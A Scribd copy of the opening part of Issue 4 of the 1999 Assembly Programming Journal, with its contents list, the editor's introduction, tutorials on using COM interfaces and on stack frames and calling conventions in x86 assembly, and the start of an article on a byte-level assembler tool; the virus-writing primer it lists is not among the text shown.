Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
0% found this document useful (0 votes)
75 views

Assembly Programming Journal - Issue 4

The document is the table of contents for an issue of an assembly programming journal. It lists various articles on topics like using COM in assembly, writing boot sectors, and virus writing. It also includes code snippets, columns on Windows and Unix assembly programming, and an issue challenge to write a program in under 100 bytes.

Uploaded by

lesuts
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
75 views

Assembly Programming Journal - Issue 4

The document is the table of contents for an issue of an assembly programming journal. It lists various articles on topics like using COM in assembly, writing boot sectors, and virus writing. It also includes code snippets, columns on Windows and Unix assembly programming, and an issue challenge to write a program in under 100 bytes.

Uploaded by

lesuts
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 49

::/ \::::::.

 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::.                                               Apr‐June  99 
:::\_____\::::::::::.                                              Issue 4 
::::::::::::::::::::::......................................................... 
 
            A S S E M B L Y   P R O G R A M M I N G   J O U R N A L 
                      http://asmjournal.freeservers.com 
                           asmjournal@mailcity.com 
 
 
 
 
T A B L E   O F   C O N T E N T S 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Introduction...................................................mammon_ 
 
"Using COM in Assembly Language"..........................Lord.Lucifer 
 
"Stack Frames and High‐Level Calls"............................mammon_ 
 
"Define Your Memory".......................................Alan Baylis 
 
"Writing a Boot Sector in A86"...........................Jan Verhoeven 
 
"A Basic Virus Writing Primer"...................................Chili 
 
Column: Win32 Assembly Programming
    "Mouse Input....".........................................Iczelion 
    "Menus"...................................................Iczelion 
 
Column: The C standard library in Assembly 
    "C string functions:_strtok"................................Xbios2 
 
Column: The Unix World 
    "Using Menus in Xt"........................................mammon_ 
 
Column: Assembly Language Snippets
    "Triple XOR".........................................Jan Verhoeven 
    "Trailing Calls".....................................Jan Verhoeven 
 
Column: Issue Solution 
    "Fire Demo"....................................................iCE 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
       +++++++++++++++++++++Issue  Challenge+++++++++++++++++++ 
       Write a "Fire Demo"‐style program in less than 100 bytes 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::..............................................INTRODUCTION 
                     by mammon_ 
 
 
In the last few months I have come across a number of links to APJ, and have 
received the proverbial ton of email regarding it. Strangely enough, the 
majority of these tend to agree that the one problem with the journal is its 
infrequent ‐‐if not irregular‐‐ publication. If that is the only complaint so 
far, I think I can cope with it ;)
 
This issue is, naturally, very late due to what could be called "real world" 
[lit., "that which does not go away when a power outtage kills your PC"] 
considerations; however the articles by weight alone should make up for some 
of this. 
 
The largest of the bunch is undoubtedly the virus writing tutorial by Chili, 
who may have beat my previous record for article length: a very thorough work, 
worth reading just to help protect against virii, if not to write them. This 
is accompanied by Jan's discussion of boot sector programming...a suitable 
companion article, I believe. 
 
High‐level coders will undoubtedly be interested in Lord Lucifer's article on 
COM programming in assembly; it seems that high‐level areas such as COM, 
DirectDraw, and Winsock coding are starting to receive a fair degree of 
attention from the assembly language world, judging from the tutorials I have 
been coming across. 
 
Xbios2 has continued his excellent C stdlib work, and Icezlion has contributed 
two more of his now‐legendary Win32 asm tutorials; I of course have kept up 
the Unix vanguard with yet another Xt article. 
 
This month's challenge was contributed by iCE, and had a .text‐size I could 
not readily beat. 
 
A few brief notes concerning the web page: I have thrown together a basic 
collection of assembly language links at 
  http://asmjournal.freeservers.com/lynx.html 
Submissions for this links page are welcome. I have also been getting a few 
emails to the APJ inbox asking or offering help with assembly language; since 
I check the inbox fortnightly at best, I have added a "classified ads" page to 
the APJ website at 
  http://www.guestbook4free.com/en/28806/entries/ 
which is essentially a guestbook where people can post contact info, projects 
they need help with, etc ... more or less a one‐way bulletin board like, well, 
like classified ads are. 
 
That should just about wrap things up. Enjoy the issue! 
 
_m 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::...........................................FEATURE.ARTICLE 
             Using COM in Assembly Language 
             by Lord Lucifer 
 
 
This article will discuss how to use COM interfaces in your assembly language 
programs.  It will not discuss what COM is and how it is used, but rather how 
it can be used when programming in assembler.  It will discuss only how to 
use existing interfaces, and not how to actually implement new ones; this will 
be shown in a future atricle. 
 
 
About COM 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
Here is a brief introduction to the basics behind COM. 
 
A COM object is one in which access to an object's data is achieved 
exclusively through one or more sets of related functions. These function 
sets are called interfaces, and the functions of an interface are called 
methods. COM requires that the only way to gain access to the methods of an 
interface is through a pointer to the interface. 
 
An interface is actually a contract that consists of a group of related 
function prototypes whose usage is defined but whose implementation 
is not. An interface definition specifies the interface's member functions, 
called methods, their return types, the number and types of their parameters, 
and what they must do. There is no implementation associated with an 
interface. An interface implementation is the code a programmer supplies to 
carry out the actions specified in an interface definition. 
 
An instance of an interface implementation is actually a pointer to an array 
of pointers to methods (a function table that refers to an implementation of 
all of the methods specified in the interface). Any code that has a pointer 
through which it can access the array can call the methods in that interface. 
 
 
 
Using a COM object assembly language 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
Access to a COM object occurs through a pointer.  This pointer points to a 
table of function pointers in memory, called a virtual function table, or 
vtable in short.  This vtable contains the addresses of each of the objects 
methods. To call a method, you indirectly call it through this pointer table. 
 
Here is an example of a C++ interface, and how its methods are called: 
 
  interface IInterface 
  { 
       HRESULT QueryInterface( REFIID iid, void ** ppvObject ); 
       ULONG AddRef(); 
       ULONG Release(); 
       Function1( INT param1, INT param2); 
       Function2( INT param1 ); 
  } 
 
  // calling the Function1 method 
  pObject‐>Function1( 0, 0);
 
Now here is how the same functionality can be implemented using assembly 
language: 
 
  ; defining the interface 
  ; each of these values are offsets in the vtable 
  QueryInterface    equ    0h 
  AddRef      equ    4h 
  Release     equ    8h 
  Function1    equ    0Ch 
  Function2    equ    10h 
 
  ; calling the Function1 method in asm 
  ; the method is called by obtaining the address of the objects 
  ; vtable and then calling the function addressed by the proper 
  ; offset in the table 
  push  param2 
  push  param1 
  mov  eax, pObject 
  push  eax 
  mov  eax, [eax] 
  call  [eax + Function1] 
 
You can see this is somewhat different than calling a function normally. 
Here, pObject points to the Interface's vTable.  At the Function1(0Ch) offset 
in this table is a pointer to the actual function we wish to call. 
 
 
 
Using HRESULT's 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
The return value of OLE APIs and methods is an HRESULT. This is not a handle 
to anything, but is merely a 32‐bit value with several fields encoded in the 
value.  The parts of an HRESULT are shown below. 
 
HRESULTs are 32 bit values layed out as follows: 
 
 3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 
 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 
+‐+‐+‐+‐+‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 
|S|R|C|N|r|    Facility   |    Code    | 
+‐+‐+‐+‐+‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 
 
 S ‐ Severity Bit 
     Used to indicate success or failure 
     0 ‐ Success 
     1 ‐ Fail 
 
     By noting that this bit is actually the sign bit of the 32‐bit value, 
     checking success/failure is simply performed by checking its sign: 
 
     call  ComFunction     ; call the function 
     test  eax,eax      ; now check its return value 
     js   error       ; jump if signed (meaning error returned) 
     ; success, so continue 
 
 R ‐ reserved portion of the facility code, corresponds to NT's 
     second severity bit. 
 
 C ‐ reserved portion of the facility code, corresponds to NT's 
     C field. 
 
 N ‐ reserved portion of the facility code. Used to indicate a 
     mapped NT status value. 
 
 r ‐ reserved portion of the facility code. Reserved for internal 
     use. Used to indicate HRESULT values that are not status 
     values, but are instead message ids for display strings. 
 
 Facility ‐ is the facility code 
     FACILITY_WINDOWS   = 8 
     FACILITY_STORAGE   = 3 
     FACILITY_RPC   = 1 
     FACILITY_WIN32   = 7 
     FACILITY_CONTROL   = 10 
     FACILITY_NULL   = 0 
     FACILITY_ITF   = 4 
     FACILITY_DISPATCH   = 2 
 
     To retreive the Facility, 
 
     call  ComFunction    ; call the function 
     shr  eax, 16        ; shift the HRESULT to the right by 16 bits 
     and  eax, 1FFFh     ; mask the bits, so only the facility remains 
     ; eax now contains the HRESULT's Facility code 
 
 Code ‐ is the facility's status code 
 
     To get the Facility's status code, 
     call  ComFunction    ; call the function 
     and  eax, 0000FFFFh    ; mask out the upper 16 bits 
     ; eax now contains the HRESULT's Facility's status code 
 
 
 
Using COM with MASM 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
If you use MASM to assemble your programs, you can use some of its 
capabilities to make calling COM functions very easy.  Using invoke, you can 
make COM calls look almost as clean as regular calls, plus you can add type 
checking to each function. 
 
 
Defining the interface: 
 
     IInterface_Function1Proto     typedef proto :DWORD 
     IInterface_Function2Proto     typedef proto :DWORD, :DWORD 
 
     IInterface_Function1     typedef ptr IInterface_Function1Proto 
     IInterface_Function2     typedef ptr IInterface_Function2Proto 
 
     IInterface struct DWORD 
     QueryInterface     IUnknown_QueryInterface     ? 
     AddRef       IUnknown_AddRef       ? 
     Release       IUnknown_Release       ? 
     Function1       IInterface_Function1      ? 
     Function2       Interface_Function2       ? 
     IInterface ends 
 
Using the interface to call COM functions: 
 
     mov     eax, pObject 
     mov     eax, [eax] 
     invoke  (IInterface [eax]).Function1, 0, 0 
 
As you can see, the syntax may seem a bit strange, but it allows for a simple 
method using the function name itself instead of offsets, as well as type 
checking. 
 
 
 
A Sample program written using COM
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
Here is some sample source code which uses COM written in straight assembly 
language, so it should be compatable with any assembler you prefer with only 
minor changes necessary. 
 
This program uses the Windows Shell Interfaces to show the contents of the 
Desktop folder in a window.  The program is not complete, but shows how the 
COM library is initialized, de‐initialized, and used. I also shows how the 
shell library is used to get folders and obcets, and how to perform 
actions on them. 
 
 
..386 
..model flat, stdcall 
 
include windows.inc    ; include the standard windows header 
include shlobj.inc    ; this include file contains the shell namespace 
        ; definitions and constants 
 
;‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
..data 
  wMsg      MSG  <?> 
  g_hInstance    dd  ? 
  g_pShellMalloc    dd  ? 
 
  pshf      dd  ?  ; shell folder object 
  peidl      dd  ?  ; enum id list object 
 
  lvi      LV_ITEM <?> 
  iCount      dd  ? 
  strret      STRRET  <?> 
  shfi      SHFILEINFO <?> 
  ... 
 
;‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
..code 
; Entry Point 
start: 
    push    0h 
    call    GetModuleHandle 
    mov     g_hInstance,eax 
 
    call    InitCommonControls 
 
; initialize the Component Object Model(COM) library 
; this function must be called before any COM functions are called 
    push    0 
    call    CoInitialize 
    test    eax,eax          ; error when the MSB = 1 
              ; (MSB = the sign bit) 
    js      exit          ; js = jump if signed 
 
; Get the Shells IMalloc object pointer, and save it to a global variable 
    push    offset g_pShellMalloc 
    call    SHGetMalloc 
    cmp     eax, E_FAIL 
    jz      shutdown 
 
 
; here we would set up the windows, list view, message loop, and so on.... 
; we would also call the FillListView procedure... 
; .... 
 
 
; Cleanup 
; Release IMalloc Object pointer 
    mov     eax, g_pShellMalloc 
    push    eax 
    mov     eax, [eax] 
    call    [eax + Release]      ; g_pShellMalloc‐>Release(); 
 
shutdown: 
; close the COM library 
    call    CoUninitialize 
 
exit: 
    push    wMsg.wParam 
    call    ExitProcess 
; Program Terminates Here 
 
 
;‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
FillListView proc 
 
; get the desktop shell folder, saved to pshf 
    push    offset pshf 
    call    SHGetDesktopFolder 
 
; get the objects of the desktop folder using the EnumObjects method of 
; the desktop's shell folder object 
    push    offset peidl 
    push    SHCONTF_NONFOLDERS 
    push    0 
    mov     eax, pshf 
    push    eax 
    mov     eax, [eax] 
    call    [eax + EnumObjects] 
 
; now loop through the enum id list 
idlist_loop: 
; Get next id list item 
    push    0 
    push    offset pidl 
    push    1 
    mov     eax, peidl 
    push    eax 
    mov     eax, [eax] 
    call    [eax + Next] 
    test    eax,eax 
    jnz     idlist_endloop 
 
    mov     lvi.imask, LVIF_TEXT or LVIF_IMAGE 
    mov     lvi.iItem, 
 
; Get the item's name by using the GetDisplayNameOf method 
    push    offset strret 
    push    SHGDN_NORMAL 
    push    offset pidl 
    mov     eax, pshf 
    push    eax 
    mov     eax, [eax] 
    call    [eax + GetDisplayNameOf] 
; GetDisplayNameOf returns the name in 1 of 3 forms, so get the correct 
; form and act accordingly 
    cmp     strret.uType, STRRET_CSTR 
    je      strret_cstr 
    cmp     strret.uType, STRRET_OFFSET 
    je      strret_offset 
 
strret_olestr: 
    ; here you could use WideCharToMultiByte to get the string, 
    ; I have left it out because I am lazy 
    jmp     strret_end 
 
strret_cstr: 
    lea     eax, strret.cStr 
    jmp     strret_end 
 
strret_offset: 
    mov     eax, pidl 
    add     eax, strret.uOffset 
 
strret_end: 
    mov     lvi.pszText, eax 
 
; Get the items icon 
    push    SHGFI_PIDL or SHGFI_SYSICONINDEX or SHGFI_SMALLICON or SHGFI_ICON 
    push    sizeof SHFILEINFO 
    push    offset shfi 
    push    0 
    push    pidl 
    call    SHGetFileInfo 
    mov     eax, shfi.iIcon 
    mov     lvi.iImage, eax 
 
; now add item to the list 
    push    offset lvi 
    push    0 
    push    LVM_INSERTITEM 
    push    hWndListView 
    call    SendMessage 
 
; repeat the loop 
idlist_endloop: 
 
; now free the enum id list 
; Remember all allocated objects must be released... 
    mov     eax, peidl 
    push    eax 
    mov     eax,[eax] 
    call    [eax + Release] 
 
; free the desktop shell folder object 
    mov     eax, pshf 
    push    eax 
    mov     eax,[eax] 
    call    [eax + Release] 
 
    ret 
FillListView endp 
 
 
END start 
 
 
Conclusion 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
Well, that is about it for using COM with assembly language.  Hopefully, my 
next article will go into how to define your own interfaces.  As you can 
see, using COM is not difficult at all, and with it you can add a very 
powerful capability to your assembly language programs. 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::...........................................FEATURE.ARTICLE 
                 Stack Frames and High‐Level Calls 
                 by mammon_ 
 
 
Last month I covered how to implement high‐level calls in Nasm. Since then it 
has come to my attention that many beginning programmers are unfamiliar with 
calling conventions and the stack frame; to remedy this I have prepared a brief 
discussion of these topics. 
 
The CALL Instruction 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
At its most basic, an assembly language call takes this for: 
  push [parameters] 
  call [address] 
Some assemblers will require that the CALL statement take as an rgument only 
addresses leading to external functions or addresses created with a macro or 
directive such as PROC. However, as a quick glance through a debugger or a 
passing familiarity with Nasm will demonstrate, the CALL instruction simply 
jumps to an address [often a label in the source code] while pushing the 
contents of EIP [containing the address of the instruction following the call] 
onto the stack. The CALL instruction is therefore equivalent to the following 
code: 
  push EIP 
  jmp  [address] 
 
The address that has been called will thefore have the stack set up as follows: 
  [Last Parameter Pushed]: DWORD 
  [Address of Caller]    : DWORD 
  ‐‐‐  "Top" of Stack [esp]  ‐‐‐ 
At this point, anything pushed onto the stack will be on top of [that is, with a 
lower memory address, since the stack "grows" downwards] the return address. 
 
The Stack Frame 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Note that the parameters to the call therefore cannot be POPed from the stack, 
as this will destroy the saved return address and thus cause the application to 
crash upon returning from the call [unless, of course, a chosen return address 
is PUSHed onto the stack before returning from the call]. The logical way to 
reference these parameters, then, would be as offsets from the stack pointer: 
    [parameter 2]      : DWORD esp + 8 
    [parameter 1]      : DWORD esp + 4 
    [Address of Caller]: DWORD esp
    ‐‐‐‐‐  "Top" of Stack [esp]  ‐‐‐‐‐ 
In this example, "parameter 1" is the parameter pushed onto the stack last, and 
"parameter 2" is the parameter pushed onto the stack before parameter 1, as 
follows: 
  push [parameter 2] 
  push [parameter 1] 
  call [procedure] 
The problem with referring to parameter as offsets from esp is that esp will 
change whenever a value is PUSHed onto the stack during the routine. For this 
reason, it is standard for routines which take parameters to set up a "stack 
frame". 
 
In a stack frame, the base pointer [ebp] is set equal to the stack pointer [esp] 
at the start of the call; this provides a "base" address from which parameters 
can be addressed as offsets. It is assumed that the caller had a stack frame 
also; thus the value of ebp must be preserved in order to prevent causing damage 
to the caller. The stack frame usually takes the following form: 
  push ebp 
  mov  ebp, esp 
  ... [actual code for the routine] ... 
  mov  esp, ebp 
  pop  ebp 
This means that once the stack frame has been entered, the stack has the 
following structure: 
    [parameter 2]      : DWORD ebp + 12 
    [parameter 1]      : DWORD ebp + 8 
    [Address of Caller]: DWORD ebp + 4 
    [Old Base Pointer] : DWORD ebp
    ‐‐‐‐‐   Base Pointer [ebp]   ‐‐‐‐‐ 
    ‐‐‐‐‐  "Top" of Stack [esp]  ‐‐‐‐‐ 
The use of the base pointer also allows space to  be allocated on the stack for 
local variables. This is done by simply subtracting bytes from esp; since esp is 
restored when the stack frame is exitted, this space will automatically be 
deallocated. The local variables are then referred to as *negative* offsets from 
ebp; these may be EQUed to meaningful symbol names in the source code. A routine 
that has 3 local DWORD variables would take the following form: 
     Var1 EQU [ebp‐4] 
     Var2 EQU [ebp‐8] 
     Var3 EQU [ebp‐12]    ;provide meaningful names for the variables 
  push ebp 
  mov  ebp, esp 
  sub  esp, 3*4    ;3 DWORDs at 4 BYTEs apiece 
  ... [actual code for the routine] ... 
  mov  esp, ebp 
  pop  ebp 
This routine would then have the following stack structure after the allocation 
of the local variables: 
    [parameter 2]      : DWORD ebp + 12 
    [parameter 1]      : DWORD ebp + 8 
    [Address of Caller]: DWORD ebp + 4 
    [Old Base Pointer] : DWORD ebp
    ‐‐‐‐‐   Base Pointer [ebp]   ‐‐‐‐‐ 
    [Var1]         : DWORD ebp ‐ 4 
    [Var2]         : DWORD ebp ‐ 8 
    [Var3]         : DWORD ebp ‐ 12 
    ‐‐‐‐‐  "Top" of Stack [esp]  ‐‐‐‐‐ 
 
The stack frame has can also be used to provide a call trace, as it stores the 
base pointer of [and thus a pointer to the caller of] the caller. Assume that a 
program has the following flow of execution: 
proc_1: push dword call1_p2 
  push dword call1_p1 
  call proc_2 
________proc_2: push call2_p1 
    call proc_3 
________________proc_3: push call3_p1 
      call proc_4 
Upon creation of the stack frame in proc_4, the stack has the following 
structure: 
    [call1_p2]       : DWORD ebp + 36 
    [call1_p1]       : DWORD ebp + 32 
    [Return Addr of Call1] : DWORD ebp + 28 
    [Old Base Pointer]     : DWORD ebp + 24 
    ‐‐‐‐  Base Pointer of Call 1  ‐‐‐‐ 
    [call2_p1]       : DWORD ebp + 20 
    [Return Addr of Call2] : DWORD ebp + 16 
    [Base Pointer of Call1]: DWORD ebp + 12 
    ‐‐‐‐  Base Pointer of Call 2  ‐‐‐‐ 
    [call3_p1]       : DWORD ebp + 8 
    [Return Addr of Call3] : DWORD ebp + 4 
    [Base Pointer of Call2]: DWORD ebp 
    ‐‐‐‐‐   Base Pointer [ebp]   ‐‐‐‐‐ 
    ‐‐‐‐‐  "Top" of Stack [esp]  ‐‐‐‐‐ 
As you can see, for each previous call the return address is [ebp+4], where ebp 
is the address of the saved base pointer for the call previous to that one. 
Thus, if one could traverse the history of stack frames as follows: 
  mov eax, ebp    ; eax = address of previous ebp 
  mov ecx, 10    ; trace the last 10 calls 
loop_start: 
  mov ebx, [eax+4]  ; ebx = return address for call 
  call print_stack_trace 
  mov eax, [eax]    ; step back one stack frame 
  loop loop_start 
This is exceptionally useful for exception handling; the handling function will 
be able to print out a stack history to aid debugging. This principle can also 
be applied in conjunction with debugging code [for example, the Win32 debug API] 
to create a utility which will trace the calls [in reality, the stack frames of 
the calls] made by a target. Essentially, this would boil down to the following 
logic: 
  1) Breakpoint on changes to EBP 
  2) On Break, get return address [ebp+4] 
  3) Get instruction prior to return address 
  4) Print or log the instruction 
Note that this can be enhanced to resolves symbol names in the logged CALL 
instruction, such that local or API address labels [e.g. GetWindowTextA] can be 
logged rather than just the address itself. 
 
The ENTER Instruction 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
The ENTER instruction is used to create a stack frame with a single instruction; 
it is equivalent to the code 
  push ebp 
  mov  ebp, esp 
The ENTER instruction takes a first parameter that specifes the number of bytes 
to reserve for local variables; an optional second parameter gives the nesting 
level [0‐31] of the current stack frame in the overall program structure. This 
is often used by high‐level languages to save call trace information for error 
handlers, as it specifies the number of additional [previous] stack frame pointers 
to save on the stack. 
 
The RET Instruction 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Any routine which is accessed by a CALL instruction must be terminated with a 
return [RET] instruction. As one can see from the operation of the CALL 
instruction, if you were to attempt to circumvent the RET instruction by JMPing 
to the retrun address, the stack would still be corrupted. The RET statement is 
roughly equivalent to the following code: 
  pop  EIP 
 
Note that the RET must take place after exiting the stack frame in order to 
avoid corruption of the stack. 
 
The LEAVE Instruction 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
The LEAVE instruction is used to exit a stack frame created with the ENTER 
instruction; it is equivalent to the code 
  mov  esp, ebp 
  pop  ebp 
The LEAVE instruction takes no parameters and still requires a RET statement to 
follow it. 
 
High‐level Language Calling Conventions 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
At this point one may wonder what has happened to the parameters pushed onto the 
stack prior to the call. Are they still on the stack after the RET, or have they 
been cleared? Since the parameters cannot be POPed from the stack while within 
the call, they still are on the stack at the RET instruction. 
 
At this point the programmer has two options.  They can have the caller clean up 
the stack by adding the number of bytes pushed to esp immediately after the 
call: 
  push dword param2 
  push dword param1 
  call procedure 
  add  esp, 2 * 4     ;2 DWORDs at 4 BYTEs apiece 
Or they can clear the stack by passing to the RET instruction the number of 
bytes that need to be cleared: 
  push dword param2 
  push dword param1 
  call procedure 
  ... 
procedure: 
  push ebp 
  mov  ebp, esp 
  ... 
  mov  esp, ebp 
  pop  ebp 
  ret  8        ;2 DWORDs at 4 BYTEs apiece 
Which method is chosen is left up to the programmer; however, when writing a 
library or API, one must make clear who is responsible for cleaning up the 
stack. In addition, when interfacing with high‐leve languages, one also has to 
make clear which order the parameters are to be pushed in. For this reason there 
are calling conventions for the high‐level languages. 
 
The C calling convention is used to interface with the C and C++ programming 
languages; it is used in the standard C library and in Unix APIs. It pushes the 
parameters from right to left, and does not clean up the stack upon return from 
the call. A call to a C‐style routine would look as follows: 
  ;corresponds to the C code
  ;procedure(param1, param2)
  push dword param2 
  push dword param1 
  call procedure 
  add  esp, 8 
A C‐style routine would have the following structure: 
  push ebp 
  mov  ebp, esp 
  ... 
  mov  esp, ebp 
  pop  ebp 
  ret 
 
The Pascal calling convention is used interface with the Pascal, BASIC, and 
Fortran programming languages; it is used in the Win16 API. It pushes the parameters 
from left to right, and cleans up the stack upon return from the call; as such 
it is the opposite of the C convention. A call to a Pascal routine would look as 
follows: 
  ;corresponds to the C code
  ;procedure(param1, param2)
  push dword param1 
  push dword param2 
  call procedure 
A Pascal‐style routine would have the following structure: 
  push ebp 
  mov  ebp, esp 
  ... 
  mov  esp, ebp 
  pop  ebp 
  ret 8    ;clear the 2 dword parameters 
 
The Stdcall ["standard call" or __stdcall] calling convention is a combination 
of the C and Pascal conventions; it is used in the Win32 API. It pushes the 
parameters from right to left, and cleans the stack upon return from the call. A 
call to a Stdcall routine would look as follows: 
  ;corresponds to the C code
  ;procedure(param1, param2)
  push dword param2 
  push dword param1 
  call procedure 
A Stdcall‐style routine would have the following structure: 
  push ebp 
  mov  ebp, esp 
  ... 
  mov  esp, ebp 
  pop  ebp 
  ret 8 
 
There is also a Register calling convention [also called "fastcall"] which uses 
registers rather than the stack to pass parameters. The first parameter is 
passed in eax, the second in EDX, and the third in EBX; subsequent parameters 
are passed via the stack. A call to a Register routine would look as follows: 
  ;corresponds to the C code
  ;procedure(param1, param2, param3) 
  mov  eax, param1 
  mov  edx, param2 
  mov  ebx, param3 
  call procedure 
Note that there is no defined standard method of clearing the stack ro the 
Register convention; however most implemntations clear the stack in the Pascal 
style. 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::...........................................FEATURE.ARTICLE 
                   Define Your Memory 
                   by Alan Baylis 
 
 
[I am going to preface this article with a brief note, since it is not 
 covering assembly language per se, but rather a utility that will be of use 
 to asm coders. The author sums it up well in his original email to me: 
  "Define is a new type of assembler/disassembler that does not use source 
   code. The program reads the byte values in memory and checks a library to 
   find a definition that describes the byte values it reads. The library can 
   be added to and is used as a permanent macro list to write instuctions, 
   functions, etc to memory. Most assemblers also use standard 3 character 
   mnemonics to descibe the instruction set, however, with Define you can 
   rename the instructions and your own macros to anything and up to 250 
   characters." 
 Sounds pretty promising. 
  _m      ] 
 
 
For the x86 series of processor I have been working on a new type of assembler and have 
written a program called Define. The program could be called a sketch of what a future 
version might be like. The program is fully workable but suffers from a few limitations, 
the first is that it is written in QBASIC which may be a blow to devoted machine coders, 
and the second is that it can only comfortably use about three hundred definitions 
(Definitions are like a library of machine code macros and I'll discuss them more fully 
later) and a third limitation, not to its functionality, is that the program doesn't have 
a quick mouse and menu driven interface, but I'm working on it. 
 
I liked the idea of macros and saw the neccessity for using them so that I and others 
don't have to "reinvent the wheel" as it has been put, but I wanted a way to see the 
machine code instructions and the byte values that made up the macro. This can't be done 
through using source code as the finished code is generated at the discretion of the 
compilers authors and requires a debugger to verify its content. 
 
To make what was originally intended to be a debugger but without the source code I 
decided to make a program that could read memory and interpret the byte values it finds 
into their mnemonic equivalents or better (much like a debugger), so that while reading 
memory, if the program found the byte value 205 followed by the value 5 it would display 
"INT 5". To do this I needed what I termed a 'definiton' which included the byte values 
that make up an instruction or small macro and included a description or name for the 
function they perform. 
 
Unlike what I had done with a previous assembler I decided to put the definitions in a 
separate file rather than include them as data within the main program, this allowed 
for the addition or removal of future definitions. I then quickly realised that since 
these definitions contained the byte values of an instruction, then they could also be 
used to write the bytes into memory. I added  functions to save and load programs as 
well as functions to manipulate the definition file and the program was underway. 
 
I found while writing the definitions for the instruction set that it would be good 
(and necessary) if the program could read an instruction even if one of the bytes is 
unknown or variable; I decided to call these bytes undefined bytes, so that if the 
